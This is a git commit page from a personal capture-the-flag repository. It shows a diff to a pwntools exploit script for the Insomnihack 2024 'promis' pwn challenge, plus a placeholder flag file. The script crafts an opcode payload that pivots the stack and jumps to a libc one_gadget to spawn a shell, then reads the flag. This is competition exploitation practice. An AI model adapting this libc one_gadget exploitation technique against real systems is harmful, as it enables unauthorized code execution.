cato447/ctf
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

patched exploit to work on my machine

Browse Source
This commit is contained in:
cato447
2024-05-10 14:54:38 +02:00
parent f4494a73cc
commit 93748c92d4
2 changed files with 7 additions and 7 deletions
Download Patch File Download Diff File Expand all files Collapse all files

11
insomnihack24/pwn/promis/exploit.py
View File

@@ -1,13 +1,11 @@
from pwn import * from pwn import *
context.binary = ELF("./promis_patched_patched_patched") context.binary = ELF("./promis_patched")
libc = ELF("./libc-2.27.so") libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so") ld = ELF("./ld-2.27.so")
# p = process(context.binary.path) p = process(context.binary.path)
p = remote("promis.insomnihack.ch", 6666, fam="ipv4") #p = remote("promis.insomnihack.ch", 6666, fam="ipv4")
pause()
load_long = b"\x16" load_long = b"\x16"
add = b"\x20" add = b"\x20"
@@ -21,4 +19,5 @@ diff = one_gadget_offset - (libc.symbols["__libc_start_main"] + 231)
code = move_stack + move_stack + weird_pop * 2 + set_val + p32(diff & 0xFFFFFFFFFFFFFFFF) + add + weird_pop * 5 + b"\x00" code = move_stack + move_stack + weird_pop * 2 + set_val + p32(diff & 0xFFFFFFFFFFFFFFFF) + add + weird_pop * 5 + b"\x00"
p.sendline(code) p.sendline(code)
p.sendline(b"cat flag.txt") p.sendline(b"cat flag.txt")
p.interactive() flag = p.recvline()
print(flag.decode())

1
insomnihack24/pwn/promis/flag.txt Normal file
View File

@@ -0,0 +1 @@
INS{this-is-a-fake-flag}